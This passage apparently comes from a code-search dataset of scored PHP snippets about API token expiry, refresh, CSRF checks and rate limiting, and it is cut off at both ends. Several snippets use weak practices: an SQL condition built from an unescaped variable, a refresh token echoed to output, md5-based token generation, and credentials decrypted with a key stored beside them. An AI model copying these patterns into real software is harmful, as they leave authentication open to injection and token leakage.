{\n\t\t\treturn;\n\t\t}\n\n\t\t/**\n\t\t * Access token is valid 1h but I think a 10s offset would be good, to avoid it's usage just before would expire\n\t\t */\n\t\t$this->_tokens['acctk_validity_time'] = time() + 3590;\n\t}", "title": "" }, { "docid": "724f521d78c103d50ab68cff614510ec", "score": "0.5633741", "text": "public static function generate_token_expiry() {\n\n return time() + Setting::get('token_expiry_hour') * 3600; // 30 days\n }", "title": "" }, { "docid": "15565fe823271783cd92464518bb0ac2", "score": "0.56027216", "text": "public function refreshAccessToken()\n\t{\n\t\t$this->attributes['access_token'] = self::newUniqueToken('access_token');\n\t\t$this->attributes['access_token_expires_at'] = Carbon::now()->addDays($this->getDefaultTokenExpiryDays());\n\t\t$this->save();\n\t}", "title": "" }, { "docid": "0a8f93fc7e054893852092a496f5d96a", "score": "0.56011367", "text": "public function keepTokenAlive($token, $expireTime){\n\t\t$stmt = \"UPDATE user SET tokenExpire = ? WHERE apiToken = ?\";\n\t\t$query = $this->conn->prepareQuery($stmt);\n\t\t$this->conn->bindVal($query, 1, $expireTime, $this->conn->STRING);\n\t\t$this->conn->bindVal($query, 2, $token, $this->conn->STRING);\n\t\t$this->conn->executeQuery($query);\n\t}", "title": "" }, { "docid": "a90d0ac55eaa642c4997293fe031d037", "score": "0.55939436", "text": "private function checkTokenDecayTime(FormToken $token) {\n $currentTime = time();\n $tokenTime = $token->getTimestamp();\n if (($currentTime - $tokenTime) > __MAX_DECAY_TIME) {\n $this->eventDispatcher->dispatch('all', 'token_expired');\n }\n }", "title": "" }, { "docid": "4968b74100bda5fbbc20ae1751422aed", "score": "0.5591326", "text": "function get_expire_buffer() {\n\t$buffer = get_option( 'wp_tesla_token_expire_buffer', HOUR_IN_SECONDS * 6 );\n\treturn absint( apply_filters( 'wp_tesla_api_get_expire_buffer', $buffer ) );\n}", "title": "" }, { "docid": "54869889e0ea140e5095c47c60c29e36", "score": "0.55905145", "text": "private static function cheekTokenInCache()\n {\n self::$tokenInfo = json_decode(\\Yii::$app->cache->get('tokenInfo'));\n self::$timestampExpire = \\Yii::$app->cache->get('timestampExpire');\n }", "title": "" }, { "docid": "5921b29c104a414bd2ae95529593cccb", "score": "0.5587054", "text": "public static function removeAllOutdatedTokens () {\n\t\tDatabase::getInstance()->execute(\"DELETE FROM `{praefix}api_oauth` WHERE `expires` < NOW(); \");\n\n\t\t//clear token cache\n\t\tCache::clear(\"oauth\");\n\t}", "title": "" }, { "docid": "858aa2e982c5769ee746ca3f5008af8c", "score": "0.5578888", "text": "function check_token() {\n\tglobal $mysql;\n\t\n\tif(!isset($_GET[\"token\"]) || !check_arg($_GET[\"token\"], \"#^[a-z0-9]+$#\", 40, 40))\n\t\tthrow new Exception(\"token\");\n\t\n\t$token = $_GET[\"token\"];\n\t\n\t// Try to find the Token\n\t$select = $mysql->prepare(\"SELECT user_ref FROM tokens WHERE token_id=:token LIMIT 1\");\n\t$select->bindParam(\":token\", $token);\n\t$success = $select->execute();\n\tif(!$success)\n\t\tthrow new Exception(\"Could not get the account informations. Try again later\");\n\t$result = $select->fetch();\n\tif(!$result)\n\t\tthrow new Exception(\"token\");\n\t\n\t$id = $result[\"user_ref\"];\n\t\n\t// Change the date of the Token\n\t$time = time();\n\t$update = $mysql->prepare(\"UPDATE tokens SET token_date=:time WHERE token_id=:token AND user_ref=:id\");\n\t$update->bindParam(\":time\", $time);\n\t$update->bindParam(\":token\", $token);\n\t$update->bindParam(\":id\", $id);\n\t$update->execute();\n\t\n\t// Change the date of the last login\n\t$update = $mysql->prepare(\"UPDATE users SET user_lastlogin=:time WHERE user_id=:id\");\n\t$update->bindParam(\":time\", $time);\n\t$update->bindParam(\":id\", $id);\n\t$update->execute();\n\t\n\treturn $id;\n}", "title": "" }, { "docid": "37d2da63ca6ec0e5131a325aa71d37b0", "score": "0.55774784", "text": "public function refresh_token() {\n\t\t// Bail if the user is not authenticated at all yet.\n\t\tif ( ! Authentication::is_authorized() || ! Authentication::is_token_expired() ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t$tokens = Authentication::tokens();\n\t\tif ( empty( $tokens['refresh_token'] ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$response = wp_remote_get( Authentication::get_auth_app_url() . '/refresh.php?code=' . $tokens['refresh_token'] );\n\t\tif ( 200 !== wp_remote_retrieve_response_code( $response ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$response = wp_remote_retrieve_body( $response );\n\t\tif ( empty( $response ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Save new token.\n\t\t$this->token = $response;\n\t\t$tokens['expire'] = time() + 3600;\n\t\t$tokens['access_token'] = $response;\n\t\tAuthentication::tokens( $tokens );\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "93dd7cc77f1cda427dcf5d4baaafa1ef", "score": "0.5565863", "text": "public function cleanTokens() {\n $this->connection->straightQuery(\"DELETE FROM blog_token WHERE expire < NOW();\");\n }", "title": "" }, { "docid": "c50c1e8b027f57304ff738422c9010f0", "score": "0.55474275", "text": "function renewToken() {\n\n if( is_array( $this->api_refresh_token ) ) {\n\n $token = $this->getAccessToken( current( $this->api_refresh_token ), 'REFRESH', false );\n echo current( $this->api_refresh_token );\n if( !isset( $token->access_token ) AND next( $this->api_refresh_token ) )\n return self::renewToken();\n\n if( !isset( $token->access_token ) AND !next( $this->api_refresh_token ) )\n return false;\n\n return true;\n\n } elseif( $this->api_refresh_token ) {\n\n $token = $this->getAccessToken( $this->api_refresh_token, 'REFRESH' );\n\n if( !$token->access_token )\n return false;\n\n return true;\n\n } else {\n\n return false;\n\n }\n\n }", "title": "" }, { "docid": "04cafec32df7d1c7ee83951c2eeddb9a", "score": "0.55449975", "text": "public function useToken($tokenValue){\n if(!empty($tokenValue)){\n $now = date('Y-m-d H:i:s');\n $updatedToken = $this->update(\"token_value = '$tokenValue' and active='1'\", array('active' => '0', 'used_on' => $now));\n return ((!empty($updatedToken) && $updatedToken->active == 1) ? true : false);\n } else{\n return false;\n } \n }", "title": "" }, { "docid": "64e68d4f079cbf5502c54894cf7d8781", "score": "0.55267787", "text": "public\tfunction\ttoken()\n\t\t{\n\t\t\tif($this->_date + $this->_duration < time()) {\n\t\t\t\t$this->_token\t=\tuniqid(md5(rand()), true);\n\t\t\t\t$this->_date\t=\ttime();\n\t\t\t}\n\t\t\treturn\t$this->_token;\n\t\t}", "title": "" }, { "docid": "82a82ea2c56342ff9322aee0480e0d59", "score": "0.5521572", "text": "public static function refreshToken()\n {\n if (empty(self::$client)) {\n self::$client = new Client(\n [\n 'base_uri' => self::getApiBaseUrl(),\n 'headers' => [\n 'Accept' => 'application/json',\n 'Content-Type' => 'application/json',\n ],\n ]\n );\n }\n\n $response = self::$client->request(\n 'POST',\n 'auth/key',\n [\n 'json' => ['key' => self::getApiKey()],\n ]\n );\n\n $data = json_decode($response->getBody()->getContents());\n if (isset($data->token)) {\n self::setApiToken($data->token);\n }\n }", "title": "" }, { "docid": "00affe80000d5d312c17fa2428f41054", "score": "0.5514297", "text": "public function testTokenRenewalUnknownExpiration() {\n $ablyKeyAuth = self::$ably;\n\n $options = array_merge( self::$defaultOptions, [\n 'authCallback' => function( $tokenParams ) use( &$ablyKeyAuth ) {\n $capability = [ 'testchannel' => ['publish'] ];\n $tokenParams = [\n 'ttl' => 2 * 1000, // 2 seconds\n 'capability' => $capability,\n ];\n $tokenDetails = $ablyKeyAuth->auth->requestToken( $tokenParams );\n return $tokenDetails->token; // returning just the token string, not TokenDetails => expiry time is unknown\n }\n ] );\n\n $ablyTokenAuth = new AblyRest( $options );\n $ablyTokenAuth->auth->authorize();\n $tokenBefore = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n $channel = $ablyTokenAuth->channel( 'testchannel' );\n\n // do an authorised request\n $channel->publish( 'test', 'test' );\n $tokenReq1 = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n sleep(3);\n\n $channel->publish( 'test', 'test' );\n $tokenReq2 = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n $this->assertEquals( $tokenBefore, $tokenReq1, 'Expected token not to change before expiration' );\n $this->assertFalse( $tokenReq1 == $tokenReq2, 'Expected token to change after expiration' );\n }", "title": "" }, { "docid": "f898590f2f22b43fe48c5bf2daf2dd67", "score": "0.5508138", "text": "private function refreshAccessToken()\n {\n $result = (new HotelAppService())->getAccessToken($this->appId, $this->appSecret);\n if ($result && isset($result['access_token'])) {\n $this->accessToken = $result['access_token'];\n $this->expiresAt = time() + $result['expires_in'];\n $this->save();\n } else {\n \\Yii::error('Get access token failed: ' . VarDumper::dumpAsString($result));\n }\n }", "title": "" }, { "docid": "b3253ca33d0fb1d9881807913f77145e", "score": "0.55038697", "text": "function validToken($token) {\n \n $sql = \"SELECT token, last_used FROM sessions WHERE token=:token_IN AND last_used > :active_time_IN LIMIT 1\";\n $statement = $this->database_connection->prepare($sql);\n $statement->bindParam(\":token_IN\", $token);\n $active_time = time() - (60*60); \n $statement->bindParam(\":active_time_IN\", $active_time);\n\n $statement->execute();\n $return = $statement->fetch();\n\n if(isset($return['token'])) {\n \n $this->updateToken($return['token']);\n \n return true;\n\n } else {\n \n return false;\n\n }\n\n }", "title": "" }, { "docid": "cafd0c787a8529548decf26f0288c537", "score": "0.54962283", "text": "public function auth_refresh();", "title": "" }, { "docid": "93baeda1d438a93becb33391143610c3", "score": "0.5493276", "text": "public function testTokenRenewalKnownExpiration() {\n $ablyKeyAuth = self::$ably;\n\n $options = array_merge( self::$defaultOptions, [\n 'authCallback' => function( $tokenParams ) use( &$ablyKeyAuth ) {\n $capability = [ 'testchannel' => ['publish'] ];\n $tokenParams = [\n 'ttl' => 2 * 1000 + Auth::TOKEN_EXPIRY_MARGIN, // 2 seconds + expiry margin\n 'capability' => $capability,\n ];\n return $ablyKeyAuth->auth->requestToken( $tokenParams );\n }\n ] );\n\n $ablyTokenAuth = new AblyRest( $options );\n $ablyTokenAuth->auth->authorize();\n $tokenBefore = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n $channel = $ablyTokenAuth->channel( 'testchannel' );\n\n // do an authorised request\n $channel->publish( 'test', 'test' );\n $tokenReq1 = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n sleep(3);\n\n $channel->publish( 'test', 'test' );\n $tokenReq2 = $ablyTokenAuth->auth->getTokenDetails()->token;\n\n $this->assertEquals( $tokenBefore, $tokenReq1, 'Expected token not to change before expiration' );\n $this->assertFalse( $tokenReq1 == $tokenReq2, 'Expected token to change after expiration' );\n }", "title": "" }, { "docid": "9f20aa0632acdcb6e2e98c3a7b360a37", "score": "0.54900354", "text": "public function refreshToken()\n {\n try {\n $token = JWTAuth::getToken();\n $refreshed = JWTAuth::refresh($token);\n $status = $this->loginService->saveUpdateToken($refreshed);\n if (!$status) {\n return $this->sendError([$this->failedUpdateToken],$this->failedUpdateToken);\n }\n }\n catch (\\Tymon\\JWTAuth\\Exceptions\\TokenInvalidException $e) {\n return $this->sendError($this->invalidUpdateToken,$this->invalidUpdateToken);\n }\n return $this->respondWithToken($refreshed);\n }", "title": "" }, { "docid": "47d0e1356a9f4e7e863d881de0635f57", "score": "0.54823816", "text": "function token_generator(){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//creates encrypted, UniqueID, Random token, gives everytime a new value\n\t\t\t$token = $_SESSION['token'] = md5(uniqid(mt_rand(), true));\n\n\t\t\treturn $token;\n\n}", "title": "" }, { "docid": "ce49017dad233f3f02ab9b296600eda2", "score": "0.54533195", "text": "function token_generator(){\n $token = $_SESSION['token'] = md5(uniqid(mt_rand(), true));\n return $token;\n}", "title": "" }, { "docid": "131ff1103ed9703352731c218cf2cbd9", "score": "0.5449904", "text": "public function token(Request $request){\n\n $limit = UserVideoCall::where('from_id', $request->from)\n ->where('status', 1)\n ->where('date_type', $request->date_type)\n ->count();\n if($limit <= 2000 AND $request->date_type == \"virtual\"){\n $video_call_limit_check = true;\n }\n else if($limit <= 5000 AND $request->date_type == \"speedy\"){\n $video_call_limit_check = true;\n }\n else {\n $video_call_limit_check = false;\n }\n\n if($video_call_limit_check){\n $appID = env('AGORA_APP_ID');\n $appCertificate = env('AGORA_APP_CERTIFICATE');\n $channelName = uniqid();\n $uid = 0;\n $role = RtcTokenBuilder::RoleAttendee;\n $expireTimeInSeconds = 3600;\n $currentTimestamp = (new \\DateTime(\"now\", new \\DateTimeZone('UTC')))->getTimestamp();\n $privilegeExpiredTs = $currentTimestamp + $expireTimeInSeconds;\n $token = RtcTokenBuilder::buildTokenWithUid($appID, $appCertificate, $channelName, $uid, $role, $privilegeExpiredTs);\n $data['token'] = $token;\n $data['channel_name'] =$channelName;\n $data['date_type'] = $request->date_type;\n $message = 'Your Calling token has been generated.';\n\n $user_video_call = new UserVideoCall;\n $user_video_call->from_id = $request->from;\n $user_video_call->to_id = $request->to;\n $user_video_call->date_type = $request->date_type;\n $user_video_call->call_token = $token;\n $user_video_call->channel_name = $channelName;\n $user_video_call->status = 0;\n $user_video_call->expiry = $privilegeExpiredTs;\n $user_video_call->save();\n\n $user_to = User::find($request->to);\n\n $user_to->is_calling = 1;\n $user_to->agora_channel = $channelName;\n $user_to->date_type = $request->date_type;\n $user_to->agora_token = $token;\n $user_to->save();\n\n $user_from = User::find($request->from);\n $user_from->is_calling = 1;\n $user_from->agora_channel = $channelName;\n $user_from->date_type = $request->date_type;\n $user_from->agora_token = $token;\n $user_from->save();\n\n $from_user_name = $user_from->name;\n $fcm_token = $user_to->fcm_token;\n $title = $from_user_name .\"Calling\";\n $body = $from_user_name.' is calling you';\n $notification_data = ['from_id'=>$request->from, 'name'=>$from_user_name, 'date_type'=>$request->date_type, 'token'=> $token, 'channel_name'=>$channelName];\n\n if($user_to->is_notification){\n $this->firebase_notification($fcm_token, $title, $body, $notification_data);\n }\n\n\n $notification_array = [\n 'notification_from'=> $request->from,\n 'notification_to'=> $request->to,\n 'title'=> $title,\n 'body'=> $body,\n 'payload'=> $notification_data,\n ];\n $this->notification($notification_array);\n }\n else{\n $data['used'] = $limit;\n $data['date_type'] = $request->date_type;\n $message = \"Your Call limit reached\";\n }\n\n return $this->sendResponse($data, $message);\n }", "title": "" }, { "docid": "9df97327770544fed26c7f09f52ca722", "score": "0.54461074", "text": "private function update_token_expiry_time($token_id) {\r\n $this->m_api_token->update(['date_expiry' => FUTURE_TOKEN_EXPIRY_DATE], ['id' => $token_id], 1);\r\n }", "title": "" }, { "docid": "037c3ae5309b12dee3a3caedef6b79cf", "score": "0.5445203", "text": "private function requestsPerMinute()\n {\n if (count($this->requestsQueue) === 0) {\n return;\n }\n\n while (count($this->requestsQueue) > $this->exchangeOrdersDailyLimit) {\n $oldest = isset($this->requestsQueue[0]) ? $this->requestsQueue[0] : time();\n while ($oldest < time() - 60) {\n array_shift($this->requestsQueue);\n $oldest = isset($this->requestsQueue[0]) ? $this->requestsQueue[0] : time();\n }\n print \"Rate limiting in effect for requests \" . PHP_EOL;\n sleep(1);\n }\n }", "title": "" }, { "docid": "f3131aef76f85233dcbea5d1faacb18e", "score": "0.5436622", "text": "private function checkToken()\r\n\t{\r\n\t\tif(isset($this->storage->token) AND $this->storage->token != $this->newToken)\r\n\t\t{\t\r\n\t\t\t$this->storage->remove();\r\n\t\t\t$this->close();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "6e3685d3e7bbe8b88d4aee87ab45db94", "score": "0.5427136", "text": "function intervalLogin($userId) {\n \n}", "title": "" }, { "docid": "4c44549a9231b3ffef4b2340075e9672", "score": "0.54261637", "text": "function SEC_checkToken()\n{\n global $_USER, $_TABLES, $_DB_dbms;\n\n $token = ''; // Default to no token.\n $return = false; // Default to fail.\n\n if(array_key_exists(CSRF_TOKEN, $_GET)) {\n $token = COM_applyFilter($_GET[CSRF_TOKEN]);\n } else if(array_key_exists(CSRF_TOKEN, $_POST)) {\n $token = COM_applyFilter($_POST[CSRF_TOKEN]);\n }\n\n if (trim($token) != '') {\n $sql['mysql'] = \"SELECT ((DATE_ADD(created, INTERVAL ttl SECOND) < NOW()) AND ttl > 0) as expired, owner_id, urlfor FROM {$_TABLES['tokens']} WHERE token='$token'\";\n $sql['mssql'] = \"SELECT owner_id, urlfor, expired =\n CASE\n WHEN (DATEADD(s,ttl,created) < getUTCDate()) AND (ttl>0) THEN 1\n\n ELSE 0\n END\n FROM {$_TABLES['tokens']} WHERE token='$token'\";\n $tokens = DB_query($sql);\n\n $numberOfTokens = DB_numRows($tokens);\n if($numberOfTokens != 1) {\n $return = false; // none, or multiple tokens. Both are invalid. (token is unique key...)\n } else {\n $tokendata = DB_fetchArray($tokens);\n /* Check that:\n * token's user is the current user.\n * token is not expired.\n * the http referer is the url for which the token was created.\n */\n if( $_USER['uid'] != $tokendata['owner_id'] ) {\n $return = false;\n } else if($tokendata['urlfor'] != $_SERVER['HTTP_REFERER']) {\n $return = false;\n } else if($tokendata['expired']) {\n $return = false;\n } else {\n $return = true; // Everything is AOK in only one condition...\n }\n\n // It's a one time token. So eat it.\n DB_delete($_TABLES['tokens'], 'token', $token);\n }\n } else {\n $return = false; // no token.\n }\n\n return $return;\n}", "title": "" }, { "docid": "7a16fc799fc3d460026be047cbd9f8d9", "score": "0.5422103", "text": "function updateUserToken($uemail, $utoken) {\n return $this->connection->runPreparedQuery(\"UPDATE users\n SET rem_me_token = ?\n WHERE email = ? \n LIMIT 1\", array($utoken, $uemail));\n }", "title": "" }, { "docid": "a206152ee884d4018ef67ed445c71dd0", "score": "0.5418655", "text": "public function updateEmailToken($id,$token){\n\n\t\t$expireDate = date('Y-m-d H:i:s');\n\t\t\n\t\t$tokendata =array(\t\t\n\t\t\t'emailtoken'=>$token,\n\t\t\t'expiretime'=>$expireDate ,\n\t\t);\n\t\t$this->db->trans_start();\n\t\t$this->db->where('user_id', $id);\n\t\t//disable token\n\t\t$this->db->update(\"emailtoken\",$tokendata); \t\n\t\treturn $this->db->trans_complete();\n\n\t}", "title": "" }, { "docid": "073fc0fc65f07bbcfef20272de8a190a", "score": "0.54018676", "text": "public function getTokenValidityInterval();", "title": "" }, { "docid": "19ce3cbf1790aa1f0f5f99710172bf0f", "score": "0.5397824", "text": "public function testUpdateToken(): void\n {\n $this->client->updateToken('new token');\n\n $this->setUpRequest(\n 200,\n '{\"test\": \"value\"}',\n 'GET',\n 'base_url/path',\n null,\n 'new token'\n );\n\n $this->client->httpGet('path');\n }", "title": "" }, { "docid": "aa82e8922c69256dbb47cff8acde2af7", "score": "0.5392108", "text": "protected static function generate_token()\n\t{\n\t\t$tokens = Session::instance()->get('tokens', array());\n\t\n\t\t// Remove expired tokens\n\t\t$tokens = static::clean_tokens($tokens);\n\t\n\t\t// Only store 5 tokens at a time.\n\t\tif (count($tokens) >= 5)\n\t\t{\n\t\t\t$tokens = array_values(array_slice($tokens, 0, 5, TRUE));\n\t\t}\n\t\n\t\t$token = array\n\t\t(\n\t\t\t\t'ts' => time(),\n\t\t\t\t'token' => sha1(uniqid(rand(), TRUE)),\n\t\t);\n\t\n\t\t$tokens[] = $token;\n\t\tSession::instance()->set('tokens', $tokens);\n\t\n\t\treturn $token;\n\t}", "title": "" }, { "docid": "6d9928f5db7d9684b61af50a12e8c9bf", "score": "0.53819025", "text": "private function recordDailyLimit()\n {\n if (empty($this->apikey)) {\n return;\n }\n\n if (ApiPermissions::has(ApiPermissions::PERMISSION_KING) !== false) {\n return;\n }\n\n $cap = 1000;\n $timestamp = date('zHi'); // 1 minute\n $key = \"apikey_request_count_{$this->apikey}_{$timestamp}\";\n\n $count = Redis::Cache()->get($key) ?: 0;\n $count = (int)$count;\n $count++;\n\n if ($count > $cap) {\n if (Redis::Cache()->get($key . \"_alert\") == null) {\n Redis::Cache()->set($key . \"_alert\", true, 3600);\n Discord::mog()->sendMessage(null, \"The API Key: {$this->apikey} ({$this->user->getUsername()}) has performed over 1500 requests in the past 60 seconds. The rate limit for this key will be dramatically reduced.\");\n\n $this->user->setApiRateLimit(2);\n $this->users->save($this->user);\n }\n\n throw new \\Exception(\"You have reached the request hard-cap. Please re-think your API usage...\");\n }\n\n Redis::Cache()->set($key, $count, 60);\n }", "title": "" }, { "docid": "8da88528cdd5fa6567538a1f8b0cec9a", "score": "0.5379084", "text": "public function refreshTokenIfExpired()\n {\n if ($this->client->isAccessTokenExpired()) {\n if ($this->client->getRefreshToken()) {\n $this->client->fetchAccessTokenWithRefreshToken($this->client->getRefreshToken());\n } else {\n $this->authorized = false;\n }\n }\n }", "title": "" }, { "docid": "48d3cc4a328d9b9e70c6b98f1ddd731e", "score": "0.53719443", "text": "private function removeUnusedTokens()\n\t{\n\t\t$em = $this->getDoctrine()->getManager();\n\t\t$user_tokens = $em->getRepository(UserToken::class)->findByExpiredToken($this->getParameter(\"max_inactivation_days\"));\n\n\t\tforeach ($user_tokens as $user_token) {\n\t\t\t$em->remove($user_token);\n\t\t}\n\t}", "title": "" }, { "docid": "6109d2f9e3454ff3d08ba04877a50f41", "score": "0.5370558", "text": "function isTokenValid($token) {\n\n $sql = \"SELECT token, last_used FROM sessions WHERE token=:token_IN AND last_used > :active_time_IN LIMIT 1\";\n $statement = $this->database_connection->prepare($sql);\n $statement->bindParam(\":token_IN\", $token);\n $active_time = time() - (60*60); // token is active for one hour (60s x 60s)\n $statement->bindParam(\":active_time_IN\", $active_time);\n\n $statement->execute();\n $return = $statement->fetch();\n\n if(isset($return['token'])) {\n\n // Updates the valid time for token. Updates user automagically during their active time on website, adds another 60 minutes to the time. \n $this->UpdateToken($return['token']);\n \n return true;\n\n } else {\n \n return false;\n\n }\n\n }", "title": "" }, { "docid": "847ed4eafed722517b35a6b8f2a4ad05", "score": "0.53692454", "text": "public function run()\n {\n //\n AccessToken::factory()->count(45)->create();\n }", "title": "" }, { "docid": "67e78720b7b11a3aebdfb207405856a4", "score": "0.5360135", "text": "function request_limit(string $key, int $limit = 5, int $seconds = 60): bool\n{\n\n $session = new \\Source\\Core\\Session();\n //verifica se já existe a sessão, depois se o tempo dela esta dentro do permitido, depois se a requisição e menor\n //que a quantidade permitida\n if ($session->has($key) && $session->$key->time >= time() && $session->$key->requests < $limit) {\n $session->set($key, [\n \"time\" => time() + $seconds,\n \"requests\" => $session->$key->requests + 1\n ]);\n return false;\n }\n\n //verifica se o limite foi atingido\n if ($session->has($key) && $session->$key->time >= time() && $session->$key->requests >= $limit) {\n return true;\n }\n\n $session->set($key, [\n \"time\" => time() + $seconds,\n \"requests\" => 1\n ]);\n\n return false;\n\n}", "title": "" }, { "docid": "f2eaca221c1fef1ecf09d5e376b12d32", "score": "0.53369135", "text": "function sm_expire_stale_unregistered()\n\t\t{\n\t\t\t$day = 86400;\n\t\t\t$when = ( time() - ($day*10) );\n\t\t\t$when = date('Y-m-d', $when); //0000-00-00 00:00:00\n\t\t\tdbq(\"DELETE FROM users WHERE created < '{$when}' AND lastlogin IS NULL AND `privileges` =0\");\n\t\t}", "title": "" }, { "docid": "b3ecefeee39173975b149aaa89216f31", "score": "0.5335976", "text": "function applyRateLimit() {\n\tsession_start();\n\n\t$rateLimitController = new RateLimitController();\n\n\tif (isset($_SESSION['LAST_REQUEST'])) {\n\t\t$lastRequest = $_SESSION['LAST_REQUEST'];\n\t} else {\n\t\t$lastRequest = '0000-00-00 00:00:00';\n\t}\n\t\n\t// Pass last request and current time\n\t$rateLimitResponse = $rateLimitController->check($lastRequest, date(\"Y-m-d h:i:s\"));\n\n\tif ($rateLimitResponse['status'] != '200') {\n\t\tprintResponse($rateLimitResponse); die();\n\t}\n\n\t$_SESSION['LAST_REQUEST'] = date(\"Y-m-d h:i:s\");\n}", "title": "" }, { "docid": "5a50a7736c0371cd098693c38c411a99", "score": "0.53349304", "text": "function firebase_idtoken()\n{\n\tif( !empty($_SESSION['firetoken']) ){\n\t\treturn $_SESSION['firetoken'] ;\n\t}\n\t\n\t$token_file = session_save_path().'/sess_firebasetoken' ;\n\t@$token = json_decode( file_get_contents( $token_file ) );\n\n\tif( empty($token) || time() > $token->expire ) {\n\t\tfirebase_lock();\n\t\t$fb_access = json_decode( file_get_contents('https://tme-marcus.firebaseio.com/access.json')); \n\t\t$acc = json_decode( openssl_decrypt( substr($fb_access->server, 0, -32), 'aes-256-ctr', substr($fb_access->server, -32)));\n\t\t$marcuslogin=\"https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key={$acc->appcfg->apiKey}\" ;\n\t\t@$marcus_token = file_get_contents( $marcuslogin, false, stream_context_create(array(\n\t\t\t'http' =>\n\t\t\tarray(\n\t\t\t\t'method' => 'POST',\n\t\t\t\t'header' => 'Content-type: application/json',\n\t\t\t\t'content' => json_encode( $acc->access )\n\t\t\t)\n\t\t)));\n\t\t@$token = json_decode( $marcus_token ) ;\n\t\tif( !empty( $token ) ) {\n\t\t\tif( !empty( $token->expiresIn ) ) {\n\t\t\t\t$token->expire = time() + $token->expiresIn - 300 ;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$token->expire = time() + 1800 ;\n\t\t\t}\n\t\t\tfile_put_contents( $token_file, json_encode( $token ) );\n\t\t}\n\t\tfirebase_unlock();\n\t}\n\t\n\tif( !empty($token) && !empty( $token->idToken )) {\n\t\treturn $token->idToken ;\n\t}\n\telse \n\t\treturn false ;\n}", "title": "" }, { "docid": "56e60a8ffa34461f6fdca61c341e4ecf", "score": "0.5329754", "text": "public function getApiTokenRefreshedAt();", "title": "" }, { "docid": "203b57cc681738825b8bd28a9a36c0ac", "score": "0.5327231", "text": "public function saveToken()\n {\n $params = $this->getAccessToken()->getParams();\n \\Yii::$app->cache->set(\"authClientCollection/{$this->defaultName()}/access_token\", $params['access_token'], $params['expires']);\n }", "title": "" }, { "docid": "8d86b640a92eb119de498d3b28c109b0", "score": "0.53141284", "text": "public function update_tokens(){\n\t\t\t\n\t\t\tupdate_option( $this->name, $this->tokens, $this->autoload );\n\t\t}", "title": "" }, { "docid": "8c75d0fb962a30db5aa02da4fc3d3944", "score": "0.52969146", "text": "public function testPasswordResetRateLimited()\n {\n for ($i = 0; $i < 10; $i++) {\n $this->visit('password/reset');\n $this->submitForm('Request New Password', [\n 'email' => '[email protected]',\n ]);\n\n $this->see('We can\\'t find a user with that e-mail address.');\n }\n\n $this->expectsEvents(\\Northstar\\Events\\Throttled::class);\n\n $this->visit('password/reset');\n $this->submitForm('Request New Password', [\n 'email' => '[email protected]',\n ]);\n\n $this->see('Too many attempts.');\n }", "title": "" }, { "docid": "31fed89fc63e3cefd8ed8cb5e79332f0", "score": "0.5294969", "text": "public function negotiateRealtimeToken(){\n // This powers chat and whiteboard.\n $user = User::loadById($_SESSION['userId']);\n $groups = $user->getGroups();\n $_topic_query_st = \"\";\n if ($groups != null)\n {\n foreach ($groups as $group) {\n $gname = urlencode($group->get('group_name'));\n $_topic_query_st = ($_topic_query_st . \"&topics=\" . $gname);\n }\n }\n $un = $user->get('username');\n $chat_server = \"http://\" . /*\"localhost:8050\"; */ \"104.236.205.162\";\n $_SESSION['chat_server'] = $chat_server;\n $token = file_get_contents($chat_server . \"/create_session?name=$un$_topic_query_st\");\n $_SESSION['chat_token'] = $token;\n }", "title": "" }, { "docid": "8dd856a8e993a6e485286940a85f235e", "score": "0.52872455", "text": "public function timeUntilRefresh() {\n if (!isRefreshable()) {\n throw new \\Exception(\"Token is no longer refreshable\");\n }\n \n return min(0, $this->getMinRefreshTimeTime() - time());\n }", "title": "" }, { "docid": "ac6775c50228b9dc046c9e22c565e6fd", "score": "0.52783406", "text": "public function refresh()\n {\n return $this->createNewToken(auth()->refresh());\n }", "title": "" }, { "docid": "e733e8a33e25c719d5bd87212480ac74", "score": "0.5263661", "text": "public function refreshToken($token) {\n // Check if there is a token that did not expire yet.\n /* @var \\Drupal\\restful\\Plugin\\resource\\DataProvider\\DataProviderEntityInterface $data_provider */\n $data_provider = $this->getDataProvider();\n $query = $data_provider->EFQObject();\n $results = $query\n ->entityCondition('entity_type', $this->entityType)\n ->entityCondition('bundle', 'refresh_token')\n ->propertyCondition('token', $token)\n ->range(0, 1)\n ->execute();\n\n if (empty($results['restful_token_auth'])) {\n throw new BadRequestException('Invalid refresh token.');\n }\n\n // Remove the refresh token once used.\n $refresh_token = entity_load_single('restful_token_auth', key($results['restful_token_auth']));\n $uid = $refresh_token->uid;\n\n // Get the access token linked to this refresh token then do some cleanup.\n $access_token_query = new EntityFieldQuery();\n $access_token_reference = $access_token_query\n ->entityCondition('entity_type', 'restful_token_auth')\n ->entityCondition('bundle', 'access_token')\n ->fieldCondition('refresh_token_reference', 'target_id', $refresh_token->id)\n ->range(0, 1)\n ->execute();\n\n if (!empty($access_token_reference['restful_token_auth'])) {\n $access_token = key($access_token_reference['restful_token_auth']);\n entity_delete('restful_token_auth', $access_token);\n }\n\n $refresh_token->delete();\n\n // Create the new access token and return it.\n /* @var \\Drupal\\restful_token_auth\\Entity\\RestfulTokenAuthController $controller */\n $controller = entity_get_controller($this->getEntityType());\n $token = $controller->generateAccessToken($uid);\n return $this->view($token->id);\n }", "title": "" }, { "docid": "67e0c1600f100f2d848faab8eaa7f9c5", "score": "0.5252052", "text": "private static function resetToken(\n\t)\t\t\t\t/* RETURNS <str> : Returns the new authentication token. */\n\t\n\t// self::resetToken()\n\t{\n\t\t// Run the authentication token change\n\t\t$newToken = substr(base64_encode(hash('md5', rand(0, 99999999) . rand(0, 99999999) . time(), true)), 0, 22);\n\t\t\n\t\tDatabase::query(\"UPDATE users SET auth_token=? WHERE id=? LIMIT 1\", array($newToken, self::$id));\n\t\t\n\t\t// Return the new authentication token\n\t\treturn $newToken;\n\t}", "title": "" }, { "docid": "b99f0703c00d8db7b8920d4676b49200", "score": "0.5246753", "text": "private function 